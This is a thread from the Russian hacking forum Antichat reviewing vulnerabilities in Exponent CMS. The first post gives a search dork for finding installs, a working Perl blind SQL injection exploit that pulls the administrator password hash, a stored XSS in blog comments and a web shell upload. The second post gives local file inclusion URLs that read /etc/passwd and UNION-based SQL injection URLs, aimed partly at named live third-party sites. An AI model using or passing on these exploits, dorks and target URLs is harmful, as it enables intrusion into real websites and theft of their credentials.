ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

[ Обзор уязвимостей Exponent CMS ]
  #1  
Старый 10.07.2008, 16:59
Аватар для ZAMUT
ZAMUT
Members of Antichat - Level 5
Регистрация: 24.10.2007
Сообщений: 256
Провел на форуме:
6905523

Репутация: 1174
По умолчанию [ Обзор уязвимостей Exponent CMS ]

Exponent CMS

Site: http://exponentcms.org
Dork: "Provided by OIC Group Inc" id
Version: Latest -- 0.97
Код:
default prefix: exponent_
user table: user
auth columns:  username,password
Hash: md5($pass)
Remote SQL Injection:
Bulletin Board by OIC Group, Inc
Vuln code:
/view_thread.php
PHP код:
....
if (!
defined("EXPONENT")) exit("");
$bb null;
$post null;
$post $db->selectObject("bb_post","id=".$_GET['id']);
# Видим, второе поле учавствует в запросе ниже.
if ($post && $post->parent != 0$post $db->selectObject("bb_post","id=".$post->parent);
.... 
...
PHP код:
....
function 
selectObjects($table$where null,$orderby null) {
        if (
$where == null$where "1";
        if (
$orderby == null$orderby '';
        else 
$orderby "ORDER BY " $orderby;

        
$res = @mysqli_query($this->connection"SELECT * FROM `" $this->prefix "$table` WHERE $where $orderby");
        if (
$res == null) return array();
        
$objects = array();
        for (
$i 0$i mysqli_num_rows($res); $i++) $objects[] = mysqli_fetch_object($res);
        return 
$objects;
    }
.... 
Составив эксплоит с вложенным во второе поле запросом, все же, вывода я не нашел. Забираем данные посимвольно.
Exploit:
Код:
#!/usr/bin/perl
use strict;
use LWP::Simple;

&usage;

my $host = shift;
my $id = shift;
$|=1;
my $n=48;
my $i =1;
my $loop = 1;
my ($content,$result) = undef;
my $request = 0;
print "Administrator hash: ";
while($loop)
{
	$content = get($host.'/bbmodule/view_thread/id/'.$id.'+and+if(ascii(upper(substring((select+password+from+exponent_user+where+id=1),'.$i.',1)))='.$n.',1,0)');
	if($content =~ /Posted on/) {print $result=chr($n); $n=47; $i++;}
	elsif($i==33) {$loop = 0}
	else {$n++; if($n==58){$n=65} }
	$request++;
}

print "\nREQUEST: ".$request;

sub usage
{
    print q
    {
    #################################################################
             Exponent Bulletin Board Blind SQL Injection Exploit (id)   
                
			  Author: ZAMUT
			  Vuln: id=
			  Homepage: http://antichat.ru

    Usage: expon.pl [Server] [Valid Id]
    Example:
    perl expon.pl http://bla.ru 2 
    #################################################################
    };

}
Active XSS:
Module Weblog / Online Journal
При оставлении комментария уязвимо поле "Name"
Vuln code:
/comment_save.php
PHP код:
if (isset($comment->id)) {
        
$comment->editor $user->id;
        
$comment->edited time();
        
$db->updateObject($comment,'weblog_comment');
    } else {
        
$comment->posted time();
      
              if (isset(
$user) && $user->id != 0) {
            
$comment->poster $user->id;
                
$comment->name $user->username;
              } elseif (isset(
$_POST['name'])) {
                
$comment->name $_POST['name'];
              } else {
                
$comment->name 'Anonymous';
              }

        
$comment->parent_id intval($_POST['parent_id']);
        
$db->insertObject($comment,'weblog_comment');
    } 
...
/postgres.php
PHP код:
function insertObject($object,$table) {
        
$sql "INSERT INTO " $this->prefix.$table " (";
        
$values ") VALUES (";
        foreach (
get_object_vars($object) as $var=>$val) {
            
$sql .= "$var,";
            
$values .= "'".str_replace("'","\\'",$val)."',";
        }
        if (
pg_query($this->connection,substr($sql,0,-1).substr($values,0,-1) . ")") !== false) {
            
$sql "SELECT last_value FROM " $this->prefix.$table ."_id_seq";
            
$res = @pg_query($this->connection,$sql);
            if (
$res) {
                
$o pg_fetch_object($res);
                
pg_free_result($res);
                return 
$o->last_value;
            } else return 
0;
        } else return 
0;
    } 
Shell:
Manage Files => Upload => shell.phtml
Код:
http://localhost/exp/files/shell.phtml
В /files лежит .htaccess:
Код:
# secure directory by disabling script execution
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi
Options -ExecCGI
Download

P.S.
Уязвимые модули, идут c CMS по дефолту.

(c) ZAMUT
__________________
в строю
 
Ответить с цитированием

  #2  
Старый 02.02.2010, 21:59
Аватар для nikp
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию

index.php
PHP код:
...
    
$page exponent_theme_getTheme();

    
// If we are in a printer friendly request then we need to change to our printer friendly subtheme
    
if (PRINTER_FRIENDLY == 1) {
        
exponent_sessions_set("uilevel",0);
        
$pftheme exponent_theme_getPrinterFriendlyTheme();      // get the printer friendly theme 
        
$page $pftheme == null $page $pftheme;        // if there was no theme found then just use the current subtheme
    
}
 
    
$base_i18n exponent_lang_loadFile('index.php');

    if (
is_readable($page)) {
        if (!
exponent_javascript_inAjaxAction()) {
    include_once(
$page); 
themes/coolwatertheme/index.php
PHP код:
    <?php exponent_theme_main(); ?>
subsystems/theme.php
PHP код:
function exponent_theme_main() {
    global 
$db$user;

    echo 
show_msg_queue();
    if ((!
defined("SOURCE_SELECTOR") || SOURCE_SELECTOR == 1) && (!defined("CONTENT_SELECTOR") || CONTENT_SELECTOR == 1)) {
        
$last_section exponent_sessions_get("last_section");
        
$section $db->selectObject("section","id=".$last_section);
        
// View authorization will be taken care of by the runAction and mainContainer functions
        
if (exponent_theme_inAction()) {
            
exponent_theme_runAction();

function 
exponent_theme_runAction() {

    if (
exponent_theme_inAction()) {
        if (!
AUTHORIZED_SECTION) {
            echo 
SITE_403_HTML;
        
//    return;
        
}
        if (
exponent_sessions_isset("themeopt_override")) {
            
$config exponent_sessions_get("themeopt_override");
            echo 
"<a class='mngmntlink sitetemplate_mngmntlink' href='".$config['mainpage']."'>".$config['backlinktext']."</a><br /><br />";
        }

        if (isset(
$_REQUEST['controller'])) {
                      echo 
renderAction($_REQUEST); 
                } else {
            if (
$_REQUEST['action'] == 'index') {
                
$view = empty($_REQUEST['view']) ? 'Default' $_REQUEST['view'];            
                
$title = empty($_REQUEST['title']) ? '' $_REQUEST['title'];    
                
$src = empty($_REQUEST['src']) ? null $_REQUEST['src'];        
                
exponent_theme_showModule($_REQUEST['module'], $view$title$src);
                return 
true;
            }

            global 
$db$user;

            
$loc null;
            
$loc->mod $_REQUEST['module'];
            
$loc->src = (isset($_REQUEST['src']) ? $_REQUEST['src'] : "");
            
$loc->int = (isset($_REQUEST['int']) ? $_REQUEST['int'] : "");

            
$actfile "/" $_REQUEST['module'] . "/actions/" $_REQUEST['action'] . ".php";
            if (isset(
$_REQUEST['_common'])) $actfile "/common/actions/" $_REQUEST['action'] . ".php";

            if (
is_readable(BASE."themes/".DISPLAY_THEME_REAL."/modules".$actfile)) {
                include_once(
BASE."themes/".DISPLAY_THEME_REAL."/modules".$actfile);
            } elseif (
is_readable(BASE.'modules/'.$actfile)) {
                include_once(
BASE.'modules/'.$actfile); 
LFI
mq=off
http://localhost/?action=../../../../../../../../boot.ini%00&module=loginmodule
http://localhost/?action=login&module=../../../../../../../../boot.ini%00
http://demo.demolabo.com/exponent/en/?action=../../../../../../../../../../../etc/passwd%00&module=loginmodule

---------------

modules/articlemodule/actions/view_article.php
PHP код:
if (!defined("EXPONENT")) exit("");
    
$article null;
    if (isset(
$_GET['id'])) {
        
$article $db->selectObject("article","id=".$_GET['id']); 
subsystems/database/mysqli.php
PHP код:
    function selectObjects($table$where null,$orderby null) {
        if (
$where == null$where "1";
        if (
$orderby == null$orderby '';
        else 
$orderby "ORDER BY " $orderby;

        
$res = @mysqli_query($this->connection"SELECT * FROM `" $this->prefix "$table` WHERE $where $orderby");
        if (
$res == null) return array();
        
$objects = array();
        for (
$i 0$i mysqli_num_rows($res); $i++) $objects[] = mysqli_fetch_object($res);
        return 
$objects;
    } 
SQL
http://localhost/index.php?action=view_article&module=articlemodule &id=-1+union+select+1,2,3,version(),user(),6+--+
http://www.exponentcms.org/index.php?action=view_article&module=articlemodule &id=-1+union+select+1,2,3,version(),user(),6+--+
(на exponentcms.org оперативно закрыли sql, сначала выдавали надпись, типа - уходи хакер, потом сменили на bad query! Поэтому ниже еще один УРЛ для проверки.)
http://rickandbernie.net/?action=view_article&module=articlemodule&id=-1+union+select+1,2,3,version(),user(),6+--+
----------------
modules/imagegallerymodule/actions/image_to_panel.php
PHP код:
if (!defined("EXPONENT")) exit("");

$image null;
if (isset(
$_GET['id'])) {
    
$image $db->selectObject("imagegallery_image","id=".$_GET['id']);
}
    
if (
$image) {
    
$image->file $db->selectObject("file","id=".$image->file_id);    
    echo 
json_encode($image);
} else {
    echo 
SITE_404_HTML;

SQL
http://localhost/index.php?action=image_to_panel&module=imagegaller ymodule&id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11+--+

Последний раз редактировалось nikp; 03.02.2010 в 01:58..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[ Обзор уязвимостей WCPS ] Dr.Z3r0 Сценарии/CMF/СMS 33 09.06.2010 14:53
[ Обзор уязвимостей PHP-Nuke ] [53x]Shadow Сценарии/CMF/СMS 42 07.05.2010 19:07
Обзор уязвимостей в платных CMS ZAMUT Сценарии/CMF/СMS 56 15.04.2010 21:02
[Обзор уязвимостей в форумных движках] Grey Форумы 48 28.12.2009 20:03
[ Обзор уязвимостей Gekko CMS ] Grey Сценарии/CMF/СMS 0 03.02.2008 20:09



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ